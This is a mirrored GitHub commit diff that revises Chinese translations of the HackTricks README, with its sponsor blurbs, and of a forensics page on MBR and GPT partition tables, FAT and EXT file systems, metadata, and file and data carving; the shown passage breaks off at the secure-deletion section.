mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-14 17:07:34 +00:00
Translated ['README.md', 'forensics/basic-forensic-methodology/partition
This commit is contained in:
parent
e79407e8ca
commit
c25156ed83
25 changed files with 883 additions and 1326 deletions
38
README.md
38
README.md
|
@ -5,7 +5,7 @@
|
|||
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
{% hint style="success" %}
|
||||
**欢迎来到这个维基,您将在这里找到我从CTFs、真实应用程序、阅读研究和新闻中学到的每个黑客技巧/技术/等等。**
|
||||
**欢迎来到这个维基,您将在这里找到我从CTF、真实应用程序、阅读研究和新闻中学到的每个黑客技巧/技术/等等。**
|
||||
{% endhint %}
|
||||
|
||||
要开始,请查看此页面,您将找到**在渗透测试一个或多个机器时应遵循的典型流程**:
|
||||
|
@ -18,13 +18,13 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
|||
|
||||
_您的公司可以在这里。_
|
||||
|
||||
## 企业赞助商
|
||||
## 公司赞助商
|
||||
|
||||
### [STM Cyber](https://www.stmcyber.com)
|
||||
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) 是一家出色的网络安全公司,其口号是**HACK THE UNHACKABLE**。他们进行自己的研究并开发自己的黑客工具,以提供像渗透测试、红队和培训等多个有价值的网络安全服务。
|
||||
[**STM Cyber**](https://www.stmcyber.com) 是一家出色的网络安全公司,其口号是**HACK THE UNHACKABLE**。他们进行自己的研究并开发自己的黑客工具,以提供像渗透测试、红队和培训等多种有价值的网络安全服务。
|
||||
|
||||
您可以在[**https://blog.stmcyber.com**](https://blog.stmcyber.com)查看他们的**博客**。
|
||||
|
||||
|
@ -42,9 +42,9 @@ _您的公司可以在这里。_
|
|||
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** 是欧洲排名第一的道德黑客和**漏洞悬赏平台**。
|
||||
**Intigriti** 是欧洲排名第一的道德黑客和**漏洞赏金平台**。
|
||||
|
||||
**漏洞悬赏提示**:**注册** Intigriti,这是一家由黑客创建的高级**漏洞悬赏平台**!立即加入我们的[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的悬赏!
|
||||
**漏洞赏金提示**:**注册** Intigriti,这是一个由黑客创建的高级**漏洞赏金平台**!立即加入我们的[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -59,34 +59,20 @@ _您的公司可以在这里。_
|
|||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
### [Intruder](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
在网络安全游戏中保持领先。
|
||||
|
||||
[**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 让漏洞管理变得简单。跟踪您的攻击面,查看您的公司存在漏洞的位置,并优先处理使您的系统最容易受到攻击的问题,这样您就可以专注于最重要的事项。
|
||||
|
||||
使用一个平台运行数千个检查,涵盖从内部基础设施到 Web 应用程序、API 和云系统的整个技术堆栈。与 [AWS、GCP、Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure) 无缝集成,简化 DevOps,使您的团队可以更快地实施修复措施。
|
||||
|
||||
Intruder 从不休息。全天候保护监视您的系统 24/7。想了解更多?访问他们的网站,并通过[**免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)体验一下。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞悬赏猎人交流!
|
||||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流!
|
||||
|
||||
**黑客见解**\
|
||||
参与深入探讨黑客的刺激和挑战的内容
|
||||
|
||||
**实时黑客新闻**\
|
||||
通过实时新闻和见解保持对快节奏黑客世界的了解
|
||||
通过实时新闻和见解及时了解快节奏的黑客世界
|
||||
|
||||
**最新公告**\
|
||||
通过最新的漏洞悬赏发布和重要平台更新保持信息更新
|
||||
通过最新的漏洞赏金发布和重要平台更新保持信息更新
|
||||
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
|
||||
|
||||
|
@ -96,7 +82,7 @@ Intruder 从不休息。全天候保护监视您的系统 24/7。想了解更多
|
|||
|
||||
<figure><img src=".gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**即时可用的漏洞评估和渗透测试设置**。使用从侦察到报告的 20 多种工具和功能从任何地方运行完整的渗透测试。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,让他们有更多时间深入挖掘、弹出 shell 并享受乐趣。
|
||||
**即时提供漏洞评估和渗透测试设置**。使用从侦察到报告的 20 多种工具和功能从任何地方运行完整的渗透测试。我们不取代渗透测试人员 - 我们开发自定义工具、检测和利用模块,让他们有更多时间深入挖掘、弹出 shell 并享受乐趣。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -106,9 +92,9 @@ Intruder 从不休息。全天候保护监视您的系统 24/7。想了解更多
|
|||
|
||||
[**WebSec**](https://websec.nl) 是一家位于阿姆斯特丹的专业网络安全公司,通过现代方法帮助全球企业抵御最新的网络安全威胁。
|
||||
|
||||
WebSec 是一家**全方位的安全公司**,这意味着他们全面覆盖;渗透测试、安全审计、意识培训、钓鱼活动、代码审查、利用开发、安全专家外包等。
|
||||
WebSec 是一家**全方位的安全公司**,他们做的一切都包括渗透测试、安全审计、意识培训、钓鱼活动、代码审查、利用开发、安全专家外包等。
|
||||
|
||||
关于 WebSec 的另一个很酷的事情是,与行业平均水平不同,WebSec 对自己的技能非常有信心,以至于他们**保证提供最优质的结果**,在他们的网站上写着“**如果我们无法入侵,您就不用付费!**”。欲了解更多信息,请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)!
|
||||
WebSec 的另一个很酷的地方是,与行业平均水平不同,WebSec 对自己的技能非常有信心,以至于他们**保证提供最优质的结果**,在他们的网站上写着“如果我们无法入侵,您就不用付款!”。欲了解更多信息,请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)!
|
||||
|
||||
除了上述内容,WebSec 还是 HackTricks 的**忠实支持者**。
|
||||
|
||||
|
@ -131,7 +117,7 @@ WebSec 是一家**全方位的安全公司**,这意味着他们全面覆盖;
|
|||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,18 +1,16 @@
|
|||
# 分区/文件系统/Carving
|
||||
|
||||
## 分区/文件系统/Carving
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -23,7 +21,7 @@
|
|||
|
||||
### MBR(主引导记录)
|
||||
|
||||
它分配在磁盘的**第一个扇区**,在引导代码的446B之后。这个扇区对于指示计算机应该挂载哪个分区以及从哪里挂载分区至关重要。\
|
||||
它分配在磁盘的**第一个扇区**中,位于引导代码的446B之后。这个扇区对于指示PC应该从哪里挂载分区很重要。\
|
||||
它允许**最多4个分区**(最多**只能有1个**是活动的/**可引导的**)。但是,如果您需要更多分区,可以使用**扩展分区**。这个第一个扇区的最后一个字节是引导记录签名**0x55AA**。只能标记一个分区为活动的。\
|
||||
MBR允许**最大2.2TB**。
|
||||
|
||||
|
@ -50,20 +48,20 @@ MBR允许**最大2.2TB**。
|
|||
|
||||
| 偏移量 | 长度 | 项目 |
|
||||
| --------- | -------- | ------------------------------------------------------ |
|
||||
| 0 (0x00) | 1 (0x01) | 活动标志 (0x80 = 可引导) |
|
||||
| 1 (0x01) | 1 (0x01) | 起始磁头 |
|
||||
| 2 (0x02) | 1 (0x01) | 起始扇区 (位0-5); 柱面的高位 (6-7) |
|
||||
| 3 (0x03) | 1 (0x01) | 起始柱面的最低8位 |
|
||||
| 4 (0x04) | 1 (0x01) | 分区类型代码 (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | 结束磁头 |
|
||||
| 6 (0x06) | 1 (0x01) | 结束扇区 (位0-5); 柱面的高位 (6-7) |
|
||||
| 7 (0x07) | 1 (0x01) | 结束柱面的最低8位 |
|
||||
| 8 (0x08) | 4 (0x04) | 分区前的扇区数 (小端) |
|
||||
| 12 (0x0C) | 4 (0x04) | 分区中的扇区数 |
|
||||
| 0 (0x00) | 1 (0x01) | 活动标志(0x80 = 可引导) |
|
||||
| 1 (0x01) | 1 (0x01) | 起始磁头 |
|
||||
| 2 (0x02) | 1 (0x01) | 起始扇区(位0-5);柱面的高位(6-7) |
|
||||
| 3 (0x03) | 1 (0x01) | 起始柱面的最低8位 |
|
||||
| 4 (0x04) | 1 (0x01) | 分区类型代码(0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | 结束磁头 |
|
||||
| 6 (0x06) | 1 (0x01) | 结束扇区(位0-5);柱面的高位(6-7) |
|
||||
| 7 (0x07) | 1 (0x01) | 结束柱面的最低8位 |
|
||||
| 8 (0x08) | 4 (0x04) | 分区前的扇区数(小端) |
|
||||
| 12 (0x0C) | 4 (0x04) | 分区中的扇区数 |
|
||||
|
||||
要在Linux中挂载MBR,首先需要获取起始偏移量(您可以使用`fdisk`和`p`命令)
|
||||
|
||||
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
|
||||
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
|
||||
|
||||
然后使用以下代码
|
||||
```bash
|
||||
|
@ -78,64 +76,64 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
|||
|
||||
### GPT(GUID分区表)
|
||||
|
||||
GUID分区表,称为GPT,因其与MBR(主引导记录)相比增强的功能而备受青睐。GPT以几个方面脱颖而出,具有**全局唯一标识符**用于分区:
|
||||
GUID分区表,简称GPT,因其与MBR(主引导记录)相比增强的功能而备受青睐。GPT以其**全局唯一标识符**为分区而脱颖而出,具有以下几个显著特点:
|
||||
|
||||
- **位置和大小**:GPT和MBR都从**扇区0**开始。但是,GPT使用**64位**,与MBR的32位形成对比。
|
||||
- **分区限制**:GPT在Windows系统上支持**最多128个分区**,并可容纳**高达9.4ZB**的数据。
|
||||
- **分区名称**:提供了使用最多36个Unicode字符命名分区的功能。
|
||||
* **位置和大小**:GPT和MBR都从**扇区0**开始。但是,GPT使用**64位**,与MBR的32位形成对比。
|
||||
* **分区限制**:GPT在Windows系统上支持**最多128个分区**,并可容纳**高达9.4ZB**的数据。
|
||||
* **分区名称**:提供了使用最多36个Unicode字符命名分区的功能。
|
||||
|
||||
**数据弹性和恢复**:
|
||||
|
||||
- **冗余**:与MBR不同,GPT不将分区和引导数据限制在单个位置。它在磁盘上复制这些数据,增强数据完整性和弹性。
|
||||
- **循环冗余校验(CRC)**:GPT使用CRC来确保数据完整性。它积极监视数据损坏,一旦检测到,GPT会尝试从另一个磁盘位置恢复损坏的数据。
|
||||
* **冗余**:与MBR不同,GPT不将分区和引导数据限制在单一位置。它在整个磁盘上复制这些数据,增强数据完整性和弹性。
|
||||
* **循环冗余校验(CRC)**:GPT采用CRC来确保数据完整性。它积极监视数据损坏,一旦检测到,GPT会尝试从另一个磁盘位置恢复损坏的数据。
|
||||
|
||||
**保护性MBR(LBA0)**:
|
||||
|
||||
- GPT通过保护性MBR实现向后兼容性。此功能位于传统MBR空间中,但旨在防止旧的基于MBR的实用程序错误地覆盖GPT磁盘,从而保护GPT格式化磁盘上的数据完整性。
|
||||
* GPT通过保护性MBR实现向后兼容性。此功能位于传统MBR空间中,但旨在防止旧的基于MBR的实用程序错误地覆盖GPT磁盘,从而保护GPT格式化磁盘上的数据完整性。
|
||||
|
||||
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
|
||||
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
|
||||
|
||||
**混合MBR(LBA 0 + GPT)**
|
||||
|
||||
[来自维基百科](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
[来自维基百科](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||
|
||||
在支持**通过BIOS进行基于GPT的引导**的操作系统中,第一个扇区也可能仍然用于存储**引导加载程序**代码的第一阶段,但**修改**以识别**GPT分区**。MBR中的引导加载程序不应假定扇区大小为512字节。
|
||||
在支持**通过BIOS进行基于GPT的引导**的操作系统中,第一个扇区也可能仍然用于存储**引导加载程序**代码的第一阶段,但**修改**以识别**GPT分区**。 MBR中的引导加载程序不得假定扇区大小为512字节。
|
||||
|
||||
**分区表头(LBA 1)**
|
||||
|
||||
[来自维基百科](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
[来自维基百科](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||
|
||||
分区表头定义了磁盘上可用的块。它还定义了组成分区表的分区条目的数量和大小(表中的偏移量80和84)。
|
||||
|
||||
| 偏移量 | 长度 | 内容 |
|
||||
| --------- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0(0x00) | 8字节 | 签名(“EFI PART”,45h 46h 49h 20h 50h 41h 52h 54h或0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)在小端机器上) |
|
||||
| 8(0x08) | 4字节 | UEFI 2.8的修订版1.0(00h 00h 01h 00h) |
|
||||
| 12(0x0C)| 4字节 | 以小端表示的头部大小(以字节为单位,通常为5Ch 00h 00h 00h或92字节) |
|
||||
| 16(0x10)| 4字节 | 头部的CRC32(从偏移量+0到头部大小)以小端表示,在计算过程中将此字段清零 |
|
||||
| 20(0x14)| 4字节 | 保留;必须为零 |
|
||||
| 24(0x18)| 8字节 | 当前LBA(此头部副本的位置) |
|
||||
| 32(0x20)| 8字节 | 备份LBA(另一个头部副本的位置) |
|
||||
| 40(0x28)| 8字节 | 分区的第一个可用LBA(主分区表的最后一个LBA + 1) |
|
||||
| 48(0x30)| 8字节 | 最后一个可用LBA(次要分区表的第一个LBA - 1) |
|
||||
| 56(0x38)| 16字节 | 混合大小端的磁盘GUID |
|
||||
| 72(0x48)| 8字节 | 分区条目数组的起始LBA(主副本中始终为2) |
|
||||
| 80(0x50)| 4字节 | 数组中的分区条目数 |
|
||||
| 84(0x54)| 4字节 | 单个分区条目的大小(通常为80h或128) |
|
||||
| 88(0x58)| 4字节 | 以小端表示的分区条目数组的CRC32 |
|
||||
| 92(0x5C)| \* | 保留;对于块的其余部分必须为零(对于512字节的扇区大小为420字节;但对于更大的扇区大小可能会更多) |
|
||||
| 0 (0x00) | 8字节 | 签名(“EFI PART”,45h 46h 49h 20h 50h 41h 52h 54h或0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)在小端机器上) |
|
||||
| 8 (0x08) | 4字节 | UEFI 2.8的版本1.0(00h 00h 01h 00h) |
|
||||
| 12 (0x0C) | 4字节 | 以小端序表示的头部大小(以字节为单位,通常为5Ch 00h 00h 00h或92字节) |
|
||||
| 16 (0x10) | 4字节 | 头部的CRC32(从偏移量+0到头部大小的小端序),在计算过程中将此字段清零 |
|
||||
| 20 (0x14) | 4字节 | 保留;必须为零 |
|
||||
| 24 (0x18) | 8字节 | 当前LBA(此头部副本的位置) |
|
||||
| 32 (0x20) | 8字节 | 备份LBA(另一个头部副本的位置) |
|
||||
| 40 (0x28) | 8字节 | 用于分区的第一个可用LBA(主分区表的最后一个LBA + 1) |
|
||||
| 48 (0x30) | 8字节 | 最后一个可用LBA(次要分区表的第一个LBA - 1) |
|
||||
| 56 (0x38) | 16字节 | 混合端序的磁盘GUID |
|
||||
| 72 (0x48) | 8字节 | 分区条目数组的起始LBA(主副本中始终为2) |
|
||||
| 80 (0x50) | 4字节 | 数组中的分区条目数量 |
|
||||
| 84 (0x54) | 4字节 | 单个分区条目的大小(通常为80h或128) |
|
||||
| 88 (0x58) | 4字节 | 分区条目数组的CRC32(小端序) |
|
||||
| 92 (0x5C) | \* | 保留;对于块的其余部分必须为零(对于512字节的扇区大小为420字节;但对于更大的扇区大小可能会更多) |
|
||||
|
||||
**分区条目(LBA 2–33)**
|
||||
|
||||
| GUID分区条目格式 | | |
|
||||
| ---------------- | -------- | ----------------------------------------------------------------------------------------------------------------- |
|
||||
| 偏移量 | 长度 | 内容 |
|
||||
| 0(0x00) | 16字节 | [分区类型GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs)(混合大小端) |
|
||||
| 16(0x10) | 16字节 | 唯一分区GUID(混合大小端) |
|
||||
| 32(0x20) | 8字节 | 第一个LBA([小端](https://en.wikipedia.org/wiki/Little\_endian)) |
|
||||
| 40(0x28) | 8字节 | 最后一个LBA(包括,通常为奇数) |
|
||||
| 48(0x30) | 8字节 | 属性标志(例如,第60位表示只读) |
|
||||
| 56(0x38) | 72字节 | 分区名称(36个[UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE代码单元) |
|
||||
| 0 (0x00) | 16字节 | [分区类型GUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs)(混合端序) |
|
||||
| 16 (0x10) | 16字节 | 唯一分区GUID(混合端序) |
|
||||
| 32 (0x20) | 8字节 | 第一个LBA([小端序](https://en.wikipedia.org/wiki/Little\_endian)) |
|
||||
| 40 (0x28) | 8字节 | 最后一个LBA(包括,通常为奇数) |
|
||||
| 48 (0x30) | 8字节 | 属性标志(例如,位60表示只读) |
|
||||
| 56 (0x38) | 72字节 | 分区名称(36个[UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE代码单元) |
|
||||
|
||||
**分区类型**
|
||||
|
||||
|
@ -145,49 +143,48 @@ GUID分区表,称为GPT,因其与MBR(主引导记录)相比增强的功
|
|||
|
||||
### 检查
|
||||
|
||||
在使用[ArsenalImageMounter](https://arsenalrecon.com/downloads/)挂载取证镜像后,您可以使用Windows工具[Active Disk Editor](https://www.disk-editor.org/index.html)**检查第一个扇区**。在下图中,检测到了**MBR**在**扇区0**上,并进行了解释:
|
||||
在使用[ArsenalImageMounter](https://arsenalrecon.com/downloads/)挂载取证镜像后,您可以使用Windows工具[Active Disk Editor](https://www.disk-editor.org/index.html)**检查第一个扇区**。在下图中检测到了一个**MBR**在**扇区0**并进行了解释:
|
||||
|
||||
![](<../../../.gitbook/assets/image (494).png>)
|
||||
|
||||
如果是**GPT表而不是MBR**,则应在**扇区1**中出现签名_EFI PART_(在上图中为空)。
|
||||
|
||||
## 文件系统
|
||||
|
||||
### Windows文件系统列表
|
||||
### Windows 文件系统列表
|
||||
|
||||
* **FAT12/16**:MSDOS,WIN95/98/NT/200
|
||||
* **FAT32**:95/2000/XP/2003/VISTA/7/8/10
|
||||
* **ExFAT**:2008/2012/2016/VISTA/7/8/10
|
||||
* **NTFS**:XP/2003/2008/2012/VISTA/7/8/10
|
||||
* **ReFS**:2012/2016
|
||||
* **FAT12/16**: MSDOS, WIN95/98/NT/200
|
||||
* **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
|
||||
* **ExFAT**: 2008/2012/2016/VISTA/7/8/10
|
||||
* **NTFS**: XP/2003/2008/2012/VISTA/7/8/10
|
||||
* **ReFS**: 2012/2016
|
||||
|
||||
### FAT
|
||||
|
||||
**FAT(文件分配表)**文件系统围绕其核心组件文件分配表设计,该表位于卷的开头。该系统通过维护**两份表的副本**来保护数据,即使其中一份损坏,也能确保数据完整性。表和根文件夹必须位于**固定位置**,对系统的启动过程至关重要。
|
||||
**FAT (文件分配表)** 文件系统围绕其核心组件设计,即位于卷开头的文件分配表。该系统通过维护**两份副本**的表来保护数据,即使其中一份损坏,也能确保数据完整性。表和根文件夹必须位于**固定位置**,对系统的启动过程至关重要。
|
||||
|
||||
该文件系统的基本存储单元是一个**簇,通常为512B**,包含多个扇区。FAT通过版本演变:
|
||||
文件系统的基本存储单元是一个**簇,通常为512B**,包含多个扇区。FAT已经通过多个版本的演变:
|
||||
|
||||
- **FAT12**,支持12位簇地址,处理高达4078个簇(UNIX为4084个)。
|
||||
- **FAT16**,升级到16位地址,从而容纳高达65,517个簇。
|
||||
- **FAT32**,进一步升级为32位地址,允许每个卷有令人印象深刻的268,435,456个簇。
|
||||
* **FAT12**,支持12位簇地址,处理多达4078个簇(UNIX为4084个)。
|
||||
* **FAT16**,升级到16位地址,从而容纳多达65,517个簇。
|
||||
* **FAT32**,进一步使用32位地址,允许每个卷有惊人的268,435,456个簇。
|
||||
|
||||
FAT各版本的一个重要限制是**4GB的最大文件大小**,由用于文件大小存储的32位字段所限制。
|
||||
FAT版本之间的一个重要限制是**4GB的最大文件大小**,由用于文件大小存储的32位字段所施加。
|
||||
|
||||
根目录的关键组件,特别是对于FAT12和FAT16,包括:
|
||||
|
||||
- **文件/文件夹名称**(最多8个字符)
|
||||
- **属性**
|
||||
- **创建、修改和最后访问日期**
|
||||
- **FAT表地址**(指示文件的起始簇)
|
||||
- **文件大小**
|
||||
* **文件/文件夹名称**(最多8个字符)
|
||||
* **属性**
|
||||
* **创建、修改和最后访问日期**
|
||||
* **FAT表地址**(指示文件的起始簇)
|
||||
* **文件大小**
|
||||
|
||||
### EXT
|
||||
|
||||
**Ext2**是**不具备日志记录**的分区(**不经常更改的分区**)上最常见的文件系统。**Ext3/4**是**具有日志记录**的,通常用于**其余分区**。
|
||||
**Ext2**是**不记录日志**分区的最常见文件系统(**不经常更改的分区**,如引导分区)。**Ext3/4**是**记录日志**的,通常用于**其余分区**。
|
||||
|
||||
## **元数据**
|
||||
|
||||
一些文件包含元数据。这些信息是关于文件内容的信息,有时可能对分析人员很有趣,因为根据文件类型,它可能包含诸如:
|
||||
一些文件包含元数据。这些信息是关于文件内容的,有时可能会对分析人员感兴趣,因为根据文件类型的不同,它可能包含信息如下:
|
||||
|
||||
* 标题
|
||||
* 使用的MS Office版本
|
||||
|
@ -197,13 +194,13 @@ FAT各版本的一个重要限制是**4GB的最大文件大小**,由用于文
|
|||
* GPS坐标
|
||||
* 图像信息
|
||||
|
||||
您可以使用[**exiftool**](https://exiftool.org)和[**Metadiver**](https://www.easymetadata.com/metadiver-2/)等工具获取文件的元数据。
|
||||
您可以使用像[**exiftool**](https://exiftool.org)和[**Metadiver**](https://www.easymetadata.com/metadiver-2/)这样的工具来获取文件的元数据。
|
||||
|
||||
## **已删除文件恢复**
|
||||
|
||||
### 记录的已删除文件
|
||||
|
||||
正如之前所见,文件“删除”后仍然保存在几个位置。这是因为通常从文件系统中删除文件只是将其标记为已删除,但数据并未被删除。因此,可以检查文件的注册表(如MFT)并找到已删除的文件。
|
||||
正如之前所见,文件“删除”后仍然保存在几个地方。这是因为通常从文件系统中删除文件只是将其标记为已删除,但数据并未被触及。然后,可以检查文件的注册表(如MFT)并找到已删除的文件。
|
||||
|
||||
此外,操作系统通常保存有关文件系统更改和备份的大量信息,因此可以尝试使用它们来恢复文件或尽可能多地获取信息。
|
||||
|
||||
|
@ -213,11 +210,11 @@ FAT各版本的一个重要限制是**4GB的最大文件大小**,由用于文
|
|||
|
||||
### **文件切割**
|
||||
|
||||
**文件切割**是一种尝试在大量数据中找到文件的技术。此类工具的主要工作方式有3种:**基于文件类型的头部和尾部**,基于文件类型的**结构**,以及基于**内容**本身。
|
||||
**文件切割**是一种尝试在大量数据中**查找文件**的技术。此类工具的工作方式有3种主要方式:**基于文件类型的头部和尾部**,基于文件类型的**结构**,以及基于**内容**本身。
|
||||
|
||||
请注意,此技术**无法用于检索分段的文件**。如果文件**未存储在连续扇区中**,则此技术将无法找到它或至少部分找到它。
|
||||
请注意,此技术**无法用于检索分段的文件**。如果文件**未存储在连续的扇区中**,则此技术将无法找到它,或者至少无法找到部分文件。
|
||||
|
||||
有几种工具可用于文件切割,指定要搜索的文件类型。
|
||||
有几种工具可用于文件切割,指示您要搜索的文件类型
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
|
@ -226,7 +223,7 @@ FAT各版本的一个重要限制是**4GB的最大文件大小**,由用于文
|
|||
### 数据流**切割**
|
||||
|
||||
数据流切割类似于文件切割,但**不是寻找完整文件,而是寻找有趣的信息片段**。\
|
||||
例如,与寻找包含已记录URL的完整文件不同,此技术将搜索URL。
|
||||
例如,与寻找包含记录的URL的完整文件不同,此技术将搜索URL。
|
||||
|
||||
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||
|
@ -234,8 +231,8 @@ FAT各版本的一个重要限制是**4GB的最大文件大小**,由用于文
|
|||
|
||||
### 安全删除
|
||||
|
||||
显然,有方法可以**“安全地”删除文件和有关它们的部分日志**。例如,可以**多次覆盖文件内容**以垃圾数据,然后**从$MFT和$LOGFILE中删除**有关文件的日志,并**删除卷影副本**。\
|
||||
您可能会注意到,即使执行了该操作,文件的存在仍可能被记录在其他地方,这是取证专业人员的工作的一部分,是找到它们的。
|
||||
